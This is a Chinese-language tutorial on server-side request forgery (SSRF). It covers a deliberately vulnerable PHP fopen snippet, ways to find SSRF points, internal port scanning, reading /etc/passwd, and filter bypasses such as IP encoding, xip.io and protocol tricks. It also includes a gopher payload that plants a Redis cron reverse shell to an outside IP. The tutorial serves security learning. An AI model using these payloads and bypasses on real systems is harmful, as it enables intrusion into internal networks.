SSRF漏洞学习
0x00 介绍
SSRF 全名叫 服务器请求伪造(Server-Side Request Forgery),是不是感觉很熟悉~~是的,跟CSRF类似,只是SSRF的恶意请求是服务器发起;
所以这个可以请求到与外网隔离的内网系统,这个就是攻击目标了。
主要产生原因就是服务器端的验证并没有对其请求做出严格的过滤以及限制,导致可以从其他服务器的获取一定量的数据。
0x01 实例
漏洞代码
<?php function getImage(){ $f = fopen($_GET['src'], 'rb'); //打开远程文件 echo fread($f, 8192); //显示已打开的远程文件 } getImage(); ?>
我们src构造src=http://127.0.0.1/phpinfo.php,127.0.0.1是内网IP,我们就得到内网应用的phpinfo信息了
0x02 挖掘
1、我们可以从url中找寻敏感参数,这些参数很长时远程服务的调用
share
wap
url
link
src
source
target
u
3g
display
sourceurl
imageURL
domain
2、白盒测试中我们可以查看敏感函数是否使用正确
PHP中的敏感函数
file_get_contents()
fsockopen()
curl_exec()
fopen()
Java中的敏感类:
Request类
URL类的openStream
HttpClient类
URLConnection
HttpURLConnection类
Python中的敏感库:
urllib库:urllib.request.urlopen(url)
3、WEB功能
1)分享:通过url分享网页内容
2)转码服务:通过url把原地址的网页内容调优时期适合手机屏幕浏览
3)在线翻译:通过url翻译对应文本的内容
4)图片加载于下载:通过url加载或下载图片
5)图谱按、文章收藏功能
6)未公开的api实现以及其他调用url的功能
0x03 漏洞利用
探测内网端口
探测到有效ip时,我们可以探测端口开放情况
eg:http://example.com:8080/info
http://example.com:22/info
http://example.com:3306/info
根据响应或者响应时间来判断是否开放
获取服务banner信息
攻击内网应用或者服务器
内网的安全通常都很薄弱,溢出,弱口令等一般都是存在的。通过ssrf攻击,可以实现对内网的访问,从而可以攻击内网或者本地机器,获得shell等。
读取本地文件
file:///etc/passwd
中转请求
可以构造请求头location重定向请求
0x04 绕过技巧
常见的限制是检测访问ip是否合法,或者是检查域名,如果解析不对的话,就存在绕过了,下面来说一些绕过技巧
1、@
2、添加端口号
3、短网址
4、xip.io
5、ip进制转换
6、协议绕过
7、构造302跳转服务
url解析错误(@)
一般://后面接的是域名或ip地址,但是可能就忘了账号密码的那种格式可能就会影响检测了,从而绕过检测
eg:
http://username:password@example.com:8888/info
http://username@example.com:8888/info
添加端口
这个也是解析wanting,部署上线的应用基本都是80端口,访问是可忽略的,如果添加上了就绕过检测了
taget:http://example.com/info
eg:
http://example.com:80/info
短网址
就是把普通网址,转换成比较短的网址。比如:http://t.cn/RlB2PdD 这种,在微博这些限制字数的应用里。好处不言而喻。短、字符少、美观、便于发布、传播。
有现成的轮子可以转换,也可以自己写一个,可以参考
xip.io
10.0.0.1.xip.io resolves to 10.0.0.1
www.10.0.0.1.xip.io resolves to 10.0.0.1
mysite.10.0.0.1.xip.io resolves to 10.0.0.1
foo.bar.10.0.0.1.xip.io resolves to 10.0.0.1
ip进制转换
一些开发者会通过对传过来的URL参数进行正则匹配的方式来过滤掉内网IP,如采用如下正则表达式:
^10(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){3}$ ^172\.([1][6-9]|[2]\d|3[01])(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){2}$ ^192\.168(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){2}$
对于这种过滤我们可以采用改编IP的写法的方式进行绕过,例如192.168.0.1这个IP地址我们可以改写成:
(1)、8进制格式:0300.0250.0.1 (2)、16进制格式:0xC0.0xA8.0.1 (3)、10进制整数格式:3232235521 (4)、16进制整数格式:0xC0A80001
还有一种写法;127.0.0.1 --> 127.1
协议绕过
如果服务器端程序对访问URL所采用的协议进行验证的话,可以通过非HTTP协议来进行利用。
(1)、GOPHER协议:通过GOPHER我们在一个URL参数中构造Post或者Get请求,从而达到攻击内网应用的目的。例如我们可以使用GOPHER协议对与内网的Redis服务进行攻击,可以使用如下的URL:
gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1* * * * bash -i >& /dev/tcp/172.19.23.228/23330>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a
(2)、File协议:File协议主要用于访问本地计算机中的文件,我们可以通过类似file:///文件路径这种格式来访问计算机本地文件。使用file协议可以避免服务端程序对于所访问的IP进行的过滤。例如我们可以通过file:///d:/1.txt 来访问D盘中1.txt的内容
302跳转服务
可以构造请求头location重定向请求